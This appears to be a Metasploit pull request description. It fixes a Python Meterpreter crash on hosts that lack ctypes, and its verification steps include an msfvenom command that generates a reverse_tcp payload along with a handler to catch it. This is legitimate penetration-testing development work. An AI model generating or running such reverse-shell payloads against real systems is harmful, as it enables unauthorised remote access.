Fix python meterpreter crash when ctypes isn't available

Ran into a CentOS system this weekend that didn't have ctypes, which caused pthon meterpreter to crash.

# Verification

 - [ ] generate python meterp `./msfvenom -p python/meterpreter/reverse_tcp -f raw LHOST=... LPORT=1111 > /tmp/foo.py`
 - [ ] set up multi/handler to catch it
 - [ ] run it on a box with no ctypes, **before**: crash.  **after**: no crash